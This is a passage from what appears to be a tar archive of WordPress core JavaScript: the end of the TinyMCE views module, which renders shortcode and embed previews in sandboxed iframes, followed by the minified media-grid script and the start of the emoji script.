* Unbinds all view nodes. * Runs before removing all view nodes from the DOM. */ unbind: function() { _.each( instances, function( instance ) { instance.unbind(); } ); }, /** * Scans a given string for each view's pattern, * replacing any matches with markers, * and creates a new instance for every match. * * @param {string} content The string to scan. * @param {tinymce.Editor} editor The editor. * * @return {string} The string with markers. */ setMarkers: function( content, editor ) { var pieces = [ { content: content } ], self = this, instance, current; _.each( views, function( view, type ) { current = pieces.slice(); pieces = []; _.each( current, function( piece ) { var remaining = piece.content, result, text; // Ignore processed pieces, but retain their location. if ( piece.processed ) { pieces.push( piece ); return; } // Iterate through the string progressively matching views // and slicing the string as we go. while ( remaining && ( result = view.prototype.match( remaining ) ) ) { // Any text before the match becomes an unprocessed piece. if ( result.index ) { pieces.push( { content: remaining.substring( 0, result.index ) } ); } result.options.editor = editor; instance = self.createInstance( type, result.content, result.options ); text = instance.loader ? '.' : instance.text; // Add the processed piece for the match. pieces.push( { content: instance.ignore ? text : '<p data-wpview-marker="' + instance.encodedText + '">' + text + '</p>', processed: true } ); // Update the remaining content. remaining = remaining.slice( result.index + result.content.length ); } // There are no additional matches. // If any content remains, add it as an unprocessed piece. if ( remaining ) { pieces.push( { content: remaining } ); } } ); } ); content = _.pluck( pieces, 'content' ).join( '' ); return content.replace( /<p>\s*<p data-wpview-marker=/g, '<p data-wpview-marker=' ).replace( /<\/p>\s*<\/p>/g, '</p>' ); }, /** * Create a view instance. * * @param {string} type The view type. * @param {string} text The textual representation of the view. * @param {Object} options Options. * @param {boolean} force Recreate the instance. Optional. * * @return {wp.mce.View} The view instance. */ createInstance: function( type, text, options, force ) { var View = this.get( type ), encodedText, instance; if ( text.indexOf( '[' ) !== -1 && text.indexOf( ']' ) !== -1 ) { // Looks like a shortcode? Remove any line breaks from inside of shortcodes // or autop will replace them with <p> and <br> later and the string won't match. text = text.replace( /\[[^\]]+\]/g, function( match ) { return match.replace( /[\r\n]/g, '' ); }); } if ( ! force ) { instance = this.getInstance( text ); if ( instance ) { return instance; } } encodedText = encodeURIComponent( text ); options = _.extend( options || {}, { text: text, encodedText: encodedText } ); return instances[ encodedText ] = new View( options ); }, /** * Get a view instance. * * @param {(string|HTMLElement)} object The textual representation of the view or the view node. * * @return {wp.mce.View} The view instance or undefined. */ getInstance: function( object ) { if ( typeof object === 'string' ) { return instances[ encodeURIComponent( object ) ]; } return instances[ $( object ).attr( 'data-wpview-text' ) ]; }, /** * Given a view node, get the view's text. * * @param {HTMLElement} node The view node. * * @return {string} The textual representation of the view. */ getText: function( node ) { return decodeURIComponent( $( node ).attr( 'data-wpview-text' ) || '' ); }, /** * Renders all view nodes that are not yet rendered. * * @param {boolean} force Rerender all view nodes. */ render: function( force ) { _.each( instances, function( instance ) { instance.render( null, force ); } ); }, /** * Update the text of a given view node. * * @param {string} text The new text. * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in. * @param {HTMLElement} node The view node to update. * @param {boolean} force Recreate the instance. Optional. */ update: function( text, editor, node, force ) { var instance = this.getInstance( node ); if ( instance ) { instance.update( text, editor, node, force ); } }, /** * Renders any editing interface based on the view type. * * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in. * @param {HTMLElement} node The view node to edit. */ edit: function( editor, node ) { var instance = this.getInstance( node ); if ( instance && instance.edit ) { instance.edit( instance.text, function( text, force ) { instance.update( text, editor, node, force ); } ); } }, /** * Remove a given view node from the DOM. * * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in. * @param {HTMLElement} node The view node to remove. */ remove: function( editor, node ) { var instance = this.getInstance( node ); if ( instance ) { instance.remove( editor, node ); } } }; /** * A Backbone-like View constructor intended for use when rendering a TinyMCE View. * The main difference is that the TinyMCE View is not tied to a particular DOM node. * * @param {Object} options Options. */ wp.mce.View = function( options ) { _.extend( this, options ); this.initialize(); }; wp.mce.View.extend = Backbone.View.extend; _.extend( wp.mce.View.prototype, /** @lends wp.mce.View.prototype */{ /** * The content. * * @type {*} */ content: null, /** * Whether or not to display a loader. * * @type {Boolean} */ loader: true, /** * Runs after the view instance is created. */ initialize: function() {}, /** * Returns the content to render in the view node. * * @return {*} */ getContent: function() { return this.content; }, /** * Renders all view nodes tied to this view instance that are not yet rendered. * * @param {string} content The content to render. Optional. * @param {boolean} force Rerender all view nodes tied to this view instance. Optional. */ render: function( content, force ) { if ( content != null ) { this.content = content; } content = this.getContent(); // If there's nothing to render an no loader needs to be shown, stop. if ( ! this.loader && ! content ) { return; } // We're about to rerender all views of this instance, so unbind rendered views. force && this.unbind(); // Replace any left over markers. this.replaceMarkers(); if ( content ) { this.setContent( content, function( editor, node ) { $( node ).data( 'rendered', true ); this.bindNode.call( this, editor, node ); }, force ? null : false ); } else { this.setLoader(); } }, /** * Binds a given node after its content is added to the DOM. */ bindNode: function() {}, /** * Unbinds a given node before its content is removed from the DOM. */ unbindNode: function() {}, /** * Unbinds all view nodes tied to this view instance. * Runs before their content is removed from the DOM. */ unbind: function() { this.getNodes( function( editor, node ) { this.unbindNode.call( this, editor, node ); }, true ); }, /** * Gets all the TinyMCE editor instances that support views. * * @param {Function} callback A callback. */ getEditors: function( callback ) { _.each( tinymce.editors, function( editor ) { if ( editor.plugins.wpview ) { callback.call( this, editor ); } }, this ); }, /** * Gets all view nodes tied to this view instance. * * @param {Function} callback A callback. * @param {boolean} rendered Get (un)rendered view nodes. Optional. */ getNodes: function( callback, rendered ) { this.getEditors( function( editor ) { var self = this; $( editor.getBody() ) .find( '[data-wpview-text="' + self.encodedText + '"]' ) .filter( function() { var data; if ( rendered == null ) { return true; } data = $( this ).data( 'rendered' ) === true; return rendered ? data : ! data; } ) .each( function() { callback.call( self, editor, this, this /* back compat */ ); } ); } ); }, /** * Gets all marker nodes tied to this view instance. * * @param {Function} callback A callback. */ getMarkers: function( callback ) { this.getEditors( function( editor ) { var self = this; $( editor.getBody() ) .find( '[data-wpview-marker="' + this.encodedText + '"]' ) .each( function() { callback.call( self, editor, this ); } ); } ); }, /** * Replaces all marker nodes tied to this view instance. */ replaceMarkers: function() { this.getMarkers( function( editor, node ) { var selected = node === editor.selection.getNode(); var $viewNode; if ( ! this.loader && $( node ).text() !== tinymce.DOM.decode( this.text ) ) { editor.dom.setAttrib( node, 'data-wpview-marker', null ); return; } $viewNode = editor.$( '<div class="wpview wpview-wrap" data-wpview-text="' + this.encodedText + '" data-wpview-type="' + this.type + '" contenteditable="false"></div>' ); editor.undoManager.ignore( function() { editor.$( node ).replaceWith( $viewNode ); } ); if ( selected ) { setTimeout( function() { editor.undoManager.ignore( function() { editor.selection.select( $viewNode[0] ); editor.selection.collapse(); } ); } ); } } ); }, /** * Removes all marker nodes tied to this view instance. */ removeMarkers: function() { this.getMarkers( function( editor, node ) { editor.dom.setAttrib( node, 'data-wpview-marker', null ); } ); }, /** * Sets the content for all view nodes tied to this view instance. * * @param {*} content The content to set. * @param {Function} callback A callback. Optional. * @param {boolean} rendered Only set for (un)rendered nodes. Optional. */ setContent: function( content, callback, rendered ) { if ( _.isObject( content ) && ( content.sandbox || content.head || content.body.indexOf( '<script' ) !== -1 ) ) { this.setIframes( content.head || '', content.body, callback, rendered ); } else if ( _.isString( content ) && content.indexOf( '<script' ) !== -1 ) { this.setIframes( '', content, callback, rendered ); } else { this.getNodes( function( editor, node ) { content = content.body || content; if ( content.indexOf( '<iframe' ) !== -1 ) { content += '<span class="mce-shim"></span>'; } editor.undoManager.transact( function() { node.innerHTML = ''; node.appendChild( _.isString( content ) ? editor.dom.createFragment( content ) : content ); editor.dom.add( node, 'span', { 'class': 'wpview-end' } ); } ); callback && callback.call( this, editor, node ); }, rendered ); } }, /** * Sets the content in an iframe for all view nodes tied to this view instance. * * @param {string} head HTML string to be added to the head of the document. * @param {string} body HTML string to be added to the body of the document. * @param {Function} callback A callback. Optional. * @param {boolean} rendered Only set for (un)rendered nodes. Optional. */ setIframes: function( head, body, callback, rendered ) { var self = this; if ( body.indexOf( '[' ) !== -1 && body.indexOf( ']' ) !== -1 ) { var shortcodesRegExp = new RegExp( '\\[\\/?(?:' + window.mceViewL10n.shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' ); // Escape tags inside shortcode previews. body = body.replace( shortcodesRegExp, function( match ) { return match.replace( /</g, '<' ).replace( />/g, '>' ); } ); } this.getNodes( function( editor, node ) { var dom = editor.dom, styles = '', bodyClasses = editor.getBody().className || '', editorHead = editor.getDoc().getElementsByTagName( 'head' )[0], iframe, iframeWin, iframeDoc, MutationObserver, observer, i, block; tinymce.each( dom.$( 'link[rel="stylesheet"]', editorHead ), function( link ) { if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 && link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) { styles += dom.getOuterHTML( link ); } } ); if ( self.iframeHeight ) { dom.add( node, 'span', { 'data-mce-bogus': 1, style: { display: 'block', width: '100%', height: self.iframeHeight } }, '\u200B' ); } editor.undoManager.transact( function() { node.innerHTML = ''; iframe = dom.add( node, 'iframe', { /* jshint scripturl: true */ src: tinymce.Env.ie ? 'javascript:""' : '', frameBorder: '0', allowTransparency: 'true', scrolling: 'no', 'class': 'wpview-sandbox', style: { width: '100%', display: 'block' }, height: self.iframeHeight } ); dom.add( node, 'span', { 'class': 'mce-shim' } ); dom.add( node, 'span', { 'class': 'wpview-end' } ); } ); /* * Bail if the iframe node is not attached to the DOM. * Happens when the view is dragged in the editor. * There is a browser restriction when iframes are moved in the DOM. They get emptied. * The iframe will be rerendered after dropping the view node at the new location. */ if ( ! iframe.contentWindow ) { return; } iframeWin = iframe.contentWindow; iframeDoc = iframeWin.document; iframeDoc.open(); iframeDoc.write( '<!DOCTYPE html>' + '<html>' + '<head>' + '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' + head + styles + '<style>' + 'html {' + 'background: transparent;' + 'padding: 0;' + 'margin: 0;' + '}' + 'body#wpview-iframe-sandbox {' + 'background: transparent;' + 'padding: 1px 0 !important;' + 'margin: -1px 0 0 !important;' + '}' + 'body#wpview-iframe-sandbox:before,' + 'body#wpview-iframe-sandbox:after {' + 'display: none;' + 'content: "";' + '}' + 'iframe {' + 'max-width: 100%;' + '}' + '</style>' + '</head>' + '<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' + body + '</body>' + '</html>' ); iframeDoc.close(); function resize() { var $iframe; if ( block ) { return; } // Make sure the iframe still exists. if ( iframe.contentWindow ) { $iframe = $( iframe ); self.iframeHeight = $( iframeDoc.body ).height(); if ( $iframe.height() !== self.iframeHeight ) { $iframe.height( self.iframeHeight ); editor.nodeChanged(); } } } if ( self.iframeHeight ) { block = true; setTimeout( function() { block = false; resize(); }, 3000 ); } function addObserver() { observer = new MutationObserver( _.debounce( resize, 100 ) ); observer.observe( iframeDoc.body, { attributes: true, childList: true, subtree: true } ); } $( iframeWin ).on( 'load', resize ); MutationObserver = iframeWin.MutationObserver || iframeWin.WebKitMutationObserver || iframeWin.MozMutationObserver; if ( MutationObserver ) { if ( ! iframeDoc.body ) { iframeDoc.addEventListener( 'DOMContentLoaded', addObserver, false ); } else { addObserver(); } } else { for ( i = 1; i < 6; i++ ) { setTimeout( resize, i * 700 ); } } callback && callback.call( self, editor, node ); }, rendered ); }, /** * Sets a loader for all view nodes tied to this view instance. */ setLoader: function( dashicon ) { this.setContent( '<div class="loading-placeholder">' + '<div class="dashicons dashicons-' + ( dashicon || 'admin-media' ) + '"></div>' + '<div class="wpview-loading"><ins></ins></div>' + '</div>' ); }, /** * Sets an error for all view nodes tied to this view instance. * * @param {string} message The error message to set. * @param {string} dashicon A dashicon ID. Optional. {@link https://developer.wordpress.org/resource/dashicons/} */ setError: function( message, dashicon ) { this.setContent( '<div class="wpview-error">' + '<div class="dashicons dashicons-' + ( dashicon || 'no' ) + '"></div>' + '<p>' + message + '</p>' + '</div>' ); }, /** * Tries to find a text match in a given string. * * @param {string} content The string to scan. * * @return {Object} */ match: function( content ) { var match = shortcode.next( this.type, content ); if ( match ) { return { index: match.index, content: match.content, options: { shortcode: match.shortcode } }; } }, /** * Update the text of a given view node. * * @param {string} text The new text. * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in. * @param {HTMLElement} node The view node to update. * @param {boolean} force Recreate the instance. Optional. */ update: function( text, editor, node, force ) { _.find( views, function( view, type ) { var match = view.prototype.match( text ); if ( match ) { $( node ).data( 'rendered', false ); editor.dom.setAttrib( node, 'data-wpview-text', encodeURIComponent( text ) ); wp.mce.views.createInstance( type, text, match.options, force ).render(); editor.selection.select( node ); editor.nodeChanged(); editor.focus(); return true; } } ); }, /** * Remove a given view node from the DOM. * * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in. * @param {HTMLElement} node The view node to remove. */ remove: function( editor, node ) { this.unbindNode.call( this, editor, node ); editor.dom.remove( node ); editor.focus(); } } ); } )( window, window.wp, window.wp.shortcode, window.jQuery ); /* * The WordPress core TinyMCE views. * Views for the gallery, audio, video, playlist and embed shortcodes, * and a view for embeddable URLs. */ ( function( window, views, media, $ ) { var base, gallery, av, embed, schema, parser, serializer; function verifyHTML( string ) { var settings = {}; if ( ! window.tinymce ) { return string.replace( /<[^>]+>/g, '' ); } if ( ! string || ( string.indexOf( '<' ) === -1 && string.indexOf( '>' ) === -1 ) ) { return string; } schema = schema || new window.tinymce.html.Schema( settings ); parser = parser || new window.tinymce.html.DomParser( settings, schema ); serializer = serializer || new window.tinymce.html.Serializer( settings, schema ); return serializer.serialize( parser.parse( string, { forced_root_block: false } ) ); } base = { state: [], edit: function( text, update ) { var type = this.type, frame = media[ type ].edit( text ); this.pausePlayers && this.pausePlayers(); _.each( this.state, function( state ) { frame.state( state ).on( 'update', function( selection ) { update( media[ type ].shortcode( selection ).string(), type === 'gallery' ); } ); } ); frame.on( 'close', function() { frame.detach(); } ); frame.open(); } }; gallery = _.extend( {}, base, { state: [ 'gallery-edit' ], template: media.template( 'editor-gallery' ), initialize: function() { var attachments = media.gallery.attachments( this.shortcode, media.view.settings.post.id ), attrs = this.shortcode.attrs.named, self = this; attachments.more() .done( function() { attachments = attachments.toJSON(); _.each( attachments, function( attachment ) { if ( attachment.sizes ) { if ( attrs.size && attachment.sizes[ attrs.size ] ) { attachment.thumbnail = attachment.sizes[ attrs.size ]; } else if ( attachment.sizes.thumbnail ) { attachment.thumbnail = attachment.sizes.thumbnail; } else if ( attachment.sizes.full ) { attachment.thumbnail = attachment.sizes.full; } } } ); self.render( self.template( { verifyHTML: verifyHTML, attachments: attachments, columns: attrs.columns ? parseInt( attrs.columns, 10 ) : media.galleryDefaults.columns } ) ); } ) .fail( function( jqXHR, textStatus ) { self.setError( textStatus ); } ); } } ); av = _.extend( {}, base, { action: 'parse-media-shortcode', initialize: function() { var self = this, maxwidth = null; if ( this.url ) { this.loader = false; this.shortcode = media.embed.shortcode( { url: this.text } ); } // Obtain the target width for the embed. if ( self.editor ) { maxwidth = self.editor.getBody().clientWidth; } wp.ajax.post( this.action, { post_ID: media.view.settings.post.id, type: this.shortcode.tag, shortcode: this.shortcode.string(), maxwidth: maxwidth } ) .done( function( response ) { self.render( response ); } ) .fail( function( response ) { if ( self.url ) { self.ignore = true; self.removeMarkers(); } else { self.setError( response.message || response.statusText, 'admin-media' ); } } ); this.getEditors( function( editor ) { editor.on( 'wpview-selected', function() { self.pausePlayers(); } ); } ); }, pausePlayers: function() { this.getNodes( function( editor, node, content ) { var win = $( 'iframe.wpview-sandbox', content ).get( 0 ); if ( win && ( win = win.contentWindow ) && win.mejs ) { _.each( win.mejs.players, function( player ) { try { player.pause(); } catch ( e ) {} } ); } } ); } } ); embed = _.extend( {}, av, { action: 'parse-embed', edit: function( text, update ) { var frame = media.embed.edit( text, this.url ), self = this; this.pausePlayers(); frame.state( 'embed' ).props.on( 'change:url', function( model, url ) { if ( url && model.get( 'url' ) ) { frame.state( 'embed' ).metadata = model.toJSON(); } } ); frame.state( 'embed' ).on( 'select', function() { var data = frame.state( 'embed' ).metadata; if ( self.url ) { update( data.url ); } else { update( media.embed.shortcode( data ).string() ); } } ); frame.on( 'close', function() { frame.detach(); } ); frame.open(); } } ); views.register( 'gallery', _.extend( {}, gallery ) ); views.register( 'audio', _.extend( {}, av, { state: [ 'audio-details' ] } ) ); views.register( 'video', _.extend( {}, av, { state: [ 'video-details' ] } ) ); views.register( 'playlist', _.extend( {}, av, { state: [ 'playlist-edit', 'video-playlist-edit' ] } ) ); views.register( 'embed', _.extend( {}, embed ) ); views.register( 'embedURL', _.extend( {}, embed, { match: function( content ) { // There may be a "bookmark" node next to the URL... var re = /(^|<p>(?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?)(https?:\/\/[^\s"]+?)((?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?<\/p>\s*|$)/gi; var match = re.exec( content ); if ( match ) { return { index: match.index + match[1].length, content: match[2], options: { url: true } }; } } } ) ); } )( window, window.wp.mce.views, window.wp.media, window.jQuery ); media-grid.min.js 0000644 00000031712 15111757754 0007707 0 ustar 00 /*! This file is auto-generated */ (()=>{var i={659:t=>{var e=wp.media.view.l10n,e=wp.media.controller.State.extend({defaults:{id:"edit-attachment",title:e.attachmentDetails,content:"edit-metadata",menu:!1,toolbar:!1,router:!1}});t.exports=e},682:t=>{var e=wp.media.view.Button,i=wp.media.view.l10n,o=e.extend({initialize:function(){_.defaults(this.options,{size:""}),e.prototype.initialize.apply(this,arguments),this.controller.on("select:activate select:deactivate",this.toggleBulkEditHandler,this),this.controller.on("selection:action:done",this.back,this)},back:function(){this.controller.deactivateMode("select").activateMode("edit")},click:function(){e.prototype.click.apply(this,arguments),this.controller.isModeActive("select")?this.back():this.controller.deactivateMode("edit").activateMode("select")},render:function(){return e.prototype.render.apply(this,arguments),this.$el.addClass("select-mode-toggle-button"),this},toggleBulkEditHandler:function(){var t=this.controller.content.get().toolbar,e=t.$(".media-toolbar-secondary > *, .media-toolbar-primary > *");this.controller.isModeActive("select")?(this.model.set({size:"large",text:i.cancel}),e.not(".spinner, .media-button").hide(),this.$el.show(),t.$el.addClass("media-toolbar-mode-select"),t.$(".delete-selected-button").removeClass("hidden")):(this.model.set({size:"",text:i.bulkSelect}),this.controller.content.get().$el.removeClass("fixed"),t.$el.css("width",""),t.$el.removeClass("media-toolbar-mode-select"),t.$(".delete-selected-button").addClass("hidden"),e.not(".media-button").show(),this.controller.state().get("selection").reset())}});t.exports=o},1003:t=>{var e=wp.media.view.Frame,i=wp.media.view.MediaFrame,o=jQuery,i=i.extend({className:"edit-attachment-frame",template:wp.template("edit-attachment-frame"),regions:["title","content"],events:{"click .left":"previousMediaItem","click .right":"nextMediaItem"},initialize:function(){e.prototype.initialize.apply(this,arguments),_.defaults(this.options,{modal:!0,state:"edit-attachment"}),this.controller=this.options.controller,this.gridRouter=this.controller.gridRouter,this.library=this.options.library,this.options.model&&(this.model=this.options.model),this.bindHandlers(),this.createStates(),this.createModal(),this.title.mode("default"),this.toggleNav()},bindHandlers:function(){this.on("title:create:default",this.createTitle,this),this.on("content:create:edit-metadata",this.editMetadataMode,this),this.on("content:create:edit-image",this.editImageMode,this),this.on("content:render:edit-image",this.editImageModeRender,this),this.on("refresh",this.rerender,this),this.on("close",this.detach),this.bindModelHandlers(),this.listenTo(this.gridRouter,"route:search",this.close,this)},bindModelHandlers:function(){this.listenTo(this.model,"change:status destroy",this.close,this)},createModal:function(){this.options.modal&&(this.modal=new wp.media.view.Modal({controller:this,title:this.options.title,hasCloseButton:!1}),this.modal.on("open",_.bind(function(){o("body").on("keydown.media-modal",_.bind(this.keyEvent,this))},this)),this.modal.on("close",_.bind(function(){o("body").off("keydown.media-modal"),o('li.attachment[data-id="'+this.model.get("id")+'"]').trigger("focus"),this.resetRoute()},this)),this.modal.content(this),this.modal.open())},createStates:function(){this.states.add([new wp.media.controller.EditAttachmentMetadata({model:this.model,library:this.library})])},editMetadataMode:function(t){t.view=new wp.media.view.Attachment.Details.TwoColumn({controller:this,model:this.model}),t.view.views.set(".attachment-compat",new wp.media.view.AttachmentCompat({controller:this,model:this.model})),this.model&&!this.model.get("skipHistory")&&this.gridRouter.navigate(this.gridRouter.baseUrl("?item="+this.model.id))},editImageMode:function(t){var e=new wp.media.controller.EditImage({model:this.model,frame:this});e._toolbar=function(){},e._router=function(){},e._menu=function(){},t.view=new wp.media.view.EditImage.Details({model:this.model,frame:this,controller:e}),this.gridRouter.navigate(this.gridRouter.baseUrl("?item="+this.model.id+"&mode=edit"))},editImageModeRender:function(t){t.on("ready",t.loadEditor)},toggleNav:function(){this.$(".left").prop("disabled",!this.hasPrevious()),this.$(".right").prop("disabled",!this.hasNext())},rerender:function(t){this.stopListening(this.model),this.model=t,this.bindModelHandlers(),"edit-metadata"!==this.content.mode()?this.content.mode("edit-metadata"):this.content.render(),this.toggleNav()},previousMediaItem:function(){this.hasPrevious()&&(this.trigger("refresh",this.library.at(this.getCurrentIndex()-1)),this.focusNavButton(this.hasPrevious()?".left":".right"))},nextMediaItem:function(){this.hasNext()&&(this.trigger("refresh",this.library.at(this.getCurrentIndex()+1)),this.focusNavButton(this.hasNext()?".right":".left"))},focusNavButton:function(t){o(t).trigger("focus")},getCurrentIndex:function(){return this.library.indexOf(this.model)},hasNext:function(){return this.getCurrentIndex()+1<this.library.length},hasPrevious:function(){return-1<this.getCurrentIndex()-1},keyEvent:function(t){("INPUT"!==t.target.nodeName&&"TEXTAREA"!==t.target.nodeName||t.target.disabled)&&(39===t.keyCode&&this.nextMediaItem(),37===t.keyCode)&&this.previousMediaItem()},resetRoute:function(){var t=this.controller.browserView.toolbar.get("search").$el.val();this.gridRouter.navigate(this.gridRouter.baseUrl(""!==t?"?search="+t:""),{replace:!0})}});t.exports=i},1312:t=>{var e=wp.media.view.Attachment.Details,i=e.extend({template:wp.template("attachment-details-two-column"),initialize:function(){this.controller.on("content:activate:edit-details",_.bind(this.editAttachment,this)),e.prototype.initialize.apply(this,arguments)},editAttachment:function(t){t&&t.preventDefault(),this.controller.content.mode("edit-image")},toggleSelectionHandler:function(){}});t.exports=i},2429:t=>{var e=Backbone.Router.extend({routes:{"upload.php?item=:slug&mode=edit":"editItem","upload.php?item=:slug":"showItem","upload.php?search=:query":"search","upload.php":"reset"},baseUrl:function(t){return"upload.php"+t},reset:function(){var t=wp.media.frames.edit;t&&t.close()},search:function(t){jQuery("#media-search-input").val(t).trigger("input")},showItem:function(t){var e=wp.media,i=e.frames.browse,o=i.state().get("library").findWhere({id:parseInt(t,10)});o?(o.set("skipHistory",!0),i.trigger("edit:attachment",o)):(o=e.attachment(t),i.listenTo(o,"change",function(t){i.stopListening(o),i.trigger("edit:attachment",t)}),o.fetch())},editItem:function(t){this.showItem(t),wp.media.frames.edit.content.mode("edit-details")}});t.exports=e},5806:t=>{var e=wp.media.view.Button,i=wp.media.view.DeleteSelectedButton,o=i.extend({initialize:function(){i.prototype.initialize.apply(this,arguments),this.controller.on("select:activate",this.selectActivate,this),this.controller.on("select:deactivate",this.selectDeactivate,this)},filterChange:function(t){this.canShow="trash"===t.get("status")},selectActivate:function(){this.toggleDisabled(),this.$el.toggleClass("hidden",!this.canShow)},selectDeactivate:function(){this.toggleDisabled(),this.$el.addClass("hidden")},render:function(){return e.prototype.render.apply(this,arguments),this.selectActivate(),this}});t.exports=o},6606:t=>{var e=wp.media.view.Button,i=wp.media.view.l10n,o=e.extend({initialize:function(){e.prototype.initialize.apply(this,arguments),this.options.filters&&this.options.filters.model.on("change",this.filterChange,this),this.controller.on("selection:toggle",this.toggleDisabled,this),this.controller.on("select:activate",this.toggleDisabled,this)},filterChange:function(t){"trash"===t.get("status")?this.model.set("text",i.restoreSelected):wp.media.view.settings.mediaTrash?this.model.set("text",i.trashSelected):this.model.set("text",i.deletePermanently)},toggleDisabled:function(){this.model.set("disabled",!this.controller.state().get("selection").length)},render:function(){return e.prototype.render.apply(this,arguments),this.controller.isModeActive("select")?this.$el.addClass("delete-selected-button"):this.$el.addClass("delete-selected-button hidden"),this.toggleDisabled(),this}});t.exports=o},8359:t=>{var e=wp.media.view.MediaFrame,i=wp.media.controller.Library,s=Backbone.$,o=e.extend({initialize:function(){_.defaults(this.options,{title:"",modal:!1,selection:[],library:{},multiple:"add",state:"library",uploader:!0,mode:["grid","edit"]}),this.$body=s(document.body),this.$window=s(window),this.$adminBar=s("#wpadminbar"),this.$uploaderToggler=s(".page-title-action").attr("aria-expanded","false").on("click",_.bind(this.addNewClickHandler,this)),this.$window.on("scroll resize",_.debounce(_.bind(this.fixPosition,this),15)),this.$el.addClass("wp-core-ui"),!wp.Uploader.limitExceeded&&wp.Uploader.browser.supported||(this.options.uploader=!1),this.options.uploader&&(this.uploader=new wp.media.view.UploaderWindow({controller:this,uploader:{dropzone:document.body,container:document.body}}).render(),this.uploader.ready(),s("body").append(this.uploader.el),this.options.uploader=!1),this.gridRouter=new wp.media.view.MediaFrame.Manage.Router,e.prototype.initialize.apply(this,arguments),this.$el.appendTo(this.options.container),this.createStates(),this.bindRegionModeHandlers(),this.render(),this.bindSearchHandler(),wp.media.frames.browse=this},bindSearchHandler:function(){var t=this.$("#media-search-input"),e=this.browserView.toolbar.get("search").$el,i=this.$(".view-list"),o=_.throttle(function(t){var t=s(t.currentTarget).val(),e="";t&&this.gridRouter.navigate(this.gridRouter.baseUrl(e+="?search="+t),{replace:!0})},1e3);t.on("input",_.bind(o,this)),this.gridRouter.on("route:search",function(){var t=window.location.href;-1<t.indexOf("mode=")?t=t.replace(/mode=[^&]+/g,"mode=list"):t+=-1<t.indexOf("?")?"&mode=list":"?mode=list",t=t.replace("search=","s="),i.prop("href",t)}).on("route:reset",function(){e.val("").trigger("input")})},createStates:function(){var t=this.options;this.options.states||this.states.add([new i({library:wp.media.query(t.library),multiple:t.multiple,title:t.title,content:"browse",toolbar:"select",contentUserSetting:!1,filterable:"all",autoSelect:!1})])},bindRegionModeHandlers:function(){this.on("content:create:browse",this.browseContent,this),this.on("edit:attachment",this.openEditAttachmentModal,this),this.on("select:activate",this.bindKeydown,this),this.on("select:deactivate",this.unbindKeydown,this)},handleKeydown:function(t){27===t.which&&(t.preventDefault(),this.deactivateMode("select").activateMode("edit"))},bindKeydown:function(){this.$body.on("keydown.select",_.bind(this.handleKeydown,this))},unbindKeydown:function(){this.$body.off("keydown.select")},fixPosition:function(){var t,e;this.isModeActive("select")&&(e=(t=this.$(".attachments-browser")).find(".media-toolbar"),t.offset().top+16<this.$window.scrollTop()+this.$adminBar.height()?(t.addClass("fixed"),e.css("width",t.width()+"px")):(t.removeClass("fixed"),e.css("width","")))},addNewClickHandler:function(t){t.preventDefault(),this.trigger("toggle:upload:attachment"),this.uploader&&this.uploader.refresh()},openEditAttachmentModal:function(t){wp.media.frames.edit?wp.media.frames.edit.open().trigger("refresh",t):wp.media.frames.edit=wp.media({frame:"edit-attachments",controller:this,library:this.state().get("library"),model:t})},browseContent:function(t){var e=this.state();this.browserView=t.view=new wp.media.view.AttachmentsBrowser({controller:this,collection:e.get("library"),selection:e.get("selection"),model:e,sortable:e.get("sortable"),search:e.get("searchable"),filters:e.get("filterable"),date:e.get("date"),display:e.get("displaySettings"),dragInfo:e.get("dragInfo"),sidebar:"errors",suggestedWidth:e.get("suggestedWidth"),suggestedHeight:e.get("suggestedHeight"),AttachmentView:e.get("AttachmentView"),scrollElement:document}),this.browserView.on("ready",_.bind(this.bindDeferred,this)),this.errors=wp.Uploader.errors,this.errors.on("add remove reset",this.sidebarVisibility,this)},sidebarVisibility:function(){this.browserView.$(".media-sidebar").toggle(!!this.errors.length)},bindDeferred:function(){this.browserView.dfd&&this.browserView.dfd.done(_.bind(this.startHistory,this))},startHistory:function(){window.history&&window.history.pushState&&(Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:window._wpMediaGridSettings.adminUrl,pushState:!0}))}});t.exports=o},8521:t=>{var e=wp.media.View,i=wp.media.view.EditImage.extend({initialize:function(t){this.editor=window.imageEdit,this.frame=t.frame,this.controller=t.controller,e.prototype.initialize.apply(this,arguments)},back:function(){this.frame.content.mode("edit-metadata")},save:function(){this.model.fetch().done(_.bind(function(){this.frame.content.mode("edit-metadata")},this))}});t.exports=i}},o={};function s(t){var e=o[t];return void 0!==e||(e=o[t]={exports:{}},i[t](e,e.exports,s)),e.exports}var t=wp.media;t.controller.EditAttachmentMetadata=s(659),t.view.MediaFrame.Manage=s(8359),t.view.Attachment.Details.TwoColumn=s(1312),t.view.MediaFrame.Manage.Router=s(2429),t.view.EditImage.Details=s(8521),t.view.MediaFrame.EditAttachments=s(1003),t.view.SelectModeToggleButton=s(682),t.view.DeleteSelectedButton=s(6606),t.view.DeleteSelectedPermanentlyButton=s(5806)})(); wp-emoji.min.js 0000644 00000005512 15111757754 0007433 0 ustar 00 /*! This file is auto-generated */ !function(c,l){c.wp=c.wp||{},c.wp.emoji=new function(){var n,u,e=c.MutationObserver||c.WebKitMutationObserver||c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature||a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoji)return 600<r?void 0:(c.clearTimeout(u),u=c.setTimeout(s,50),void r++);n=c.twemoji,t=!0,e&&new e(function(u){for(var 